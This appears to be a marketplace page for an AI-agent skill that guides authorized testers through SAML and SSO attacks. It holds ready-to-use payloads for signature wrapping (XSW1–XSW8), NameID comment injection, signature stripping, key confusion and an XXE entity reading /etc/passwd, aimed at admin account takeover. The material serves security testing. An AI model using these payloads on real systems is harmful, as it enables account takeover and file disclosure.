mcpField
H
hunt-saml

hunt-saml

github.com/uphiagoSecurity1.3k40 installsUpdated 8w ago
Repository

About hunt-saml

hunt-saml is a security-testing skill for assessing SAML and SSO implementations. It guides authorized testers through attack surfaces, bypass techniques, and evidence-based triage.

Key features

  1. 01SAML endpoint discovery
  2. 02XML signature-wrapping tests
  3. 03Parser differential and signature-confusion probes
  4. 04XXE and NameID manipulation checks
  5. 05Finding severity and impact triage

Use cases

  1. 01Assessing SAML login flows during an authorized test
  2. 02Checking signature validation and parser behavior
  3. 03Verifying whether SAML changes affect authorization

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-saml

After installing, type/hunt-samlin Claude Code to confirm it loaded.

Details

From the project README

20. SAML / SSO ATTACKS

SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.

Attack Surface
# Find SAML endpoints
cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
# Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback
Attack 1: XML Signature Wrapping (XSW)
<!-- BEFORE: valid assertion by [email protected] -->
<saml:Response>
  <saml:Assertion ID="legit">
    <NameID>[email protected]</NameID>
    <ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
  </saml:Assertion>
</saml:Response>

<!-- AFTER: inject evil assertion. Signature still validates (covers #legit).
     App processes the FIRST assertion found = evil. -->
<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>[email protected]</NameID>  <!-- Attacker-controlled -->
  </saml:Assertion>
  <saml:Assertion ID="legit">
    <NameID>[email protected]</NameID>
    <ds:Signature><!-- Valid --></ds:Signature>
  </saml:Assertion>
</saml:Response>
Attack 2: Comment Injection in NameID
<!-- Attacker registers/controls account: [email protected] -->
<NameID>[email protected]<!---->.evil.com</NameID>
<!-- Signed canonical form (C14N without-comments strips the comment BEFORE
     digest): "[email protected]" — the value the signature covers. -->
<!-- App's XML processor also strips the comment but only reads the text node
     UP TO the comment boundary: "[email protected]" — a DIFFERENT effective
     identity than was signed. The discrepancy is the bug. -->
<!-- Works when signer's C14N and app's text extraction disagree on comments.
     CVE-2017-11428 (Ruby-SAML / OneLogin), CVE-2016-5697. -->
Attack 3: Signature Stripping
1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml
2. Delete the entire <Signature> element
3. Change NameID to [email protected]
4. Re-encode: base64 -w0 saml.xml  (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
5. Submit — if server doesn't verify signature presence = admin ATO
Attack 4: XXE in SAML Assertion
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Assertion>
  <NameID>&xxe;</NameID>
</saml:Assertion>
Attack 5: NameID Manipulation
Test these NameID values:
- [email protected] (generic admin)
- [email protected]
- [email protected]
- Any email found in disclosed reports for this program
- ${7*7} (SSTI if NameID gets rendered in a template)
Tools
# SAMLRaider (Burp extension) — automated XSW testing
# BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab

# Manual workflow:
echo "BASE64_SAML" | base64 -d > saml.xml
# Edit saml.xml
base64 -w0 saml.xml  # Re-encode
# URL-encode the result before sending as SAMLResponse parameter
SAML Triage
XSW successful   = Critical (ATO any user)
Sig stripping    = Critical (ATO any user)
Comment injection = High (ATO admin)
XXE in assertion = High (file read / SSRF)
NameID manip     = Medium/High (depends on what NameID maps to)

Attack 6: The Fragile Lock — SAML Bypasses (Fedotkin, Dec 2025)

Source: https://portswigger.net/research/the-fragile-lock

The research by Alexander Fedotkin (Dec 2025) reveals entire classes of SAML bypasses rooted in parser differentials, canonicalization mismatches, and multi-signature confusion. Three key vectors:

6a. Parser Differentials

Different XML parsers (libxml2, Xerces, MSXML, System.Xml in .NET) disagree on:

  • XML comment boundaries — signer uses C14N without comments, verifier uses C14N with comments, or vice versa. The effective signed value differs from the verified value.
  • Whitespace normalization — NameID with trailing spaces, tab-vs-space between attributes, namespace prefix expansion (xmlns:prefix vs inherited default namespace).
  • Entity expansion order — Internal entity vs external entity processing order in the parser pipeline can produce a post-parse DOM that differs from the pre-sign-verified canonical form.
  • CDATA section handling — <NameID><![CDATA[[email protected]]]></NameID> vs <NameID>[email protected]</NameID> — some parsers strip CDATA, some keep it.

Detection script:

# Re-encode the same SAML assertion with multiple XML formatting variations.
# If any variation produces a different NameID than what was signed → parser differential.

# Variation 1 — Whitespace in element content
echo "<saml:Assertion ID="legit"><NameID>  [email protected]  </NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64

# Variation 2 — CDATA wrapping
echo "<saml:Assertion ID="legit"><NameID><![CDATA[[email protected]]]></NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64

# Variation 3 — Namespace redeclaration
echo "<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="legit"><NameID>[email protected]</NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64
6b. Multi-Signature / Signature Copy

Some SPs accept assertions with MULTIPLE <ds:Signature> elements. An attacker can:

  1. Obtain a valid signature for ANY assertion (e.g., from a public SAML demo IdP or from a prior login).
  2. Strip the original signed assertion, keeping only the <ds:Signature>.
  3. Wrap a NEW evil assertion with the copied-signature element attached.
<!-- Attacker copies a valid signature from any previously-seen SAML assertion -->
<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>[email protected]</NameID>
    <AttributeStatement>
      <Attribute Name="Role"><AttributeValue>Administrator</AttributeValue></Attribute>
    </AttributeStatement>
  </saml:Assertion>
  <ds:Signature><!-- Copied from another assertion; server verifies it exists, NOT what it covers --></ds:Signature>
</saml:Response>
6c. New XSW Variants (XSW2–XSW8)

Beyond the classic XSW1 (duplicate assertion injection), these variants circumvent modern SAML libraries that added position-based or ID-based signature binding:

VariantTechniqueBypasses
XSW2Move <ds:Signature> INSIDE a child element of the evil assertionLibraries that verify signature position relative to root
XSW3Split assertion across XML-comment boundaries in the reference URILibraries that use URI-fragment matching
XSW4Inject a second AssertionIDRef / AuthnStatement inside the signed assertionLibraries that process all statements, not just first
XSW5Use xml:id / ID attribute on the INJECTED assertion matching the signed reference's URILibraries that match by ID string, not DOM position
XSW6Namespace-prefix injection — declare an alias for the SAML namespace so the injected assertion uses a different prefix but same namespaceLibraries that key on prefix string
XSW7XML External Entity (XXE) inside the signature-reference URI to poison the digest checkLibraries that resolve entities during signature validation
XSW8XSLT transform injection in the <ds:Transform> element — transforms the post-signature DOMLibraries that apply transforms after verification

Probing script for XSW2–XSW5:

# XSW2: Signature inside child element
xsw2_payload = '''<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>[email protected]</NameID>
    <ds:Signature><!-- Copied valid signature --></ds:Signature>
  </saml:Assertion>
</saml:Response>'''

# XSW3: Comment-split URI reference
xsw3_payload = '''<saml:Response>
  <saml:Assertion ID="legit"><!-- ID actually referenced by signature URI -->
    ...
  </saml:Assertion>
  <saml:Assertion ID="evil"><!-- Not referenced but processed first -->
    <NameID>[email protected]</NameID>
  </saml:Assertion>
</saml:Response>'''

# XSW4: Extra statement inside the legit assertion
xsw4_payload = '''<saml:Response>
  <saml:Assertion ID="legit">
    <ds:Signature><!-- Valid --></ds:Signature>
    <saml:AuthnStatement><!-- SP reads this one, overrides original -->
      <saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PreviousSession</saml:AuthnContextClassRef></saml:AuthnContext>
    </saml:AuthnStatement>
    <saml:AttributeStatement>
      <saml:Attribute Name="Role"><saml:AttributeValue>Administrator</saml:AttributeValue></saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</saml:Response>'''
Triage: Key Confusion Variant

When the SP trusts MULTIPLE IdPs (common in federated environments), an assertion signed by IdP-A (attacker-controlled IdP) is sent to an SP that trusts IdP-B (victim IdP). If the SP does not validate <Issuer> or <AudienceRestriction>, the attacker-IdP-signed assertion grants access.

# Test key confusion:
# 1. Register as an IdP on a federated platform
# 2. Sign an assertion for [email protected] with YOUR IdP's private key
# 3. POST to victim SP's AssertionConsumerService
# 4. If SP accepts the assertion without checking Issuer = expected IdP → ATO

Verification

Run this self-test to confirm saml hunting readiness:

  1. Skill integrity — confirm the skill file is readable and well-formed:

    grep -q "name: hunt-saml" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. Category check — confirm the skill has a category:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. Pitfalls section — confirm pitfalls are documented:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

All 3 tests verify the skill is properly structured and ready for use.


Pitfalls

  • SAML without signature validation — unsigned assertions or WantAssertionsSigned="false" are the primary SAML findings.
  • XML signature wrapping (XSW) — classic SAML attack. Test all 8 XSW variants, not just #1.
  • SAML Response replay — capturing and replaying a SAML Response within its validity window. Test NotOnOrAfter enforcement.
  • SAML-to-JWT confusion — SAML assertions are XML; JWT is JSON. Don't cross-apply attack techniques.
  • SP metadata publicly accessible — accessing /saml/metadata is informational. The finding is what the metadata reveals (unsigned requests, weak algorithms).

Related Skills & Chains

  • hunt-ato — SAML XSW with absent audience-restriction validation is the canonical SP-impersonation-of-admin chain. Chain primitive: XSW1 attack relocates signed assertion to a secondary position + injects evil assertion with [email protected] in primary position + SP processes first assertion (the evil one) + SP doesn't validate <AudienceRestriction> so an assertion intended for IdP-A is accepted by SP-B → admin ATO across federated tenant boundary.
  • hunt-auth-bypass — SAML signature-stripping is the textbook auth-bypass pattern; this skill provides the SAML mechanics, hunt-auth-bypass provides the broader bypass-discipline. Chain primitive: capture valid SAMLResponse → regex-strip <ds:Signature> element entirely → modify <NameID> to admin → re-encode base64 → POST to /saml/acs → SP wantAssertionsSigned=false silently accepts → admin session issued without any cryptographic challenge.
  • hunt-oauth — SAML-fronted OAuth issuers turn assertion-level bugs into token-level ATO. Chain primitive: SP issues OAuth bearer tokens after SAML assertion validation + XSW alters NameID to admin → SP's token endpoint issues OAuth token bearing admin claims → all downstream OAuth-scoped APIs (admin API, billing API, user-management API) grant admin access from a single forged assertion.
  • hunt-xxe — SAML assertions ARE XML; XXE in the assertion parser is a separate chain on top of XSW. Chain primitive: SAML parser without disallow-doctype-decl + <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> in assertion + <NameID>&xxe;</NameID> → SP renders/logs NameID → /etc/passwd contents leak in error response or audit log → file-read primitive on SAML SP infrastructure.
  • security-arsenal — Pull the SAML/XSW Payload Catalog (XSW1-XSW8 templates, comment-injection variants for libxml/Xerces/MSXML parser differences, signature-wrapping with multiple Reference elements, key-confusion payloads where attacker-IdP-signed assertions are accepted by trust-naive SPs) and the always-rejected list for "SAMLResponse accepted on the wrong endpoint" claims that don't actually validate.
  • triage-validation — Run the Pre-Severity Gate before claiming Critical on a SAML "vulnerability" that only modifies non-security-relevant attributes (display name, locale) without altering NameID, AuthnContext, or role-bearing AttributeStatements. Theoretical XML manipulation that doesn't cross an authorization boundary is Informational, not Critical — the auth-decision-changing step is the gate.

Comments

Markdown supported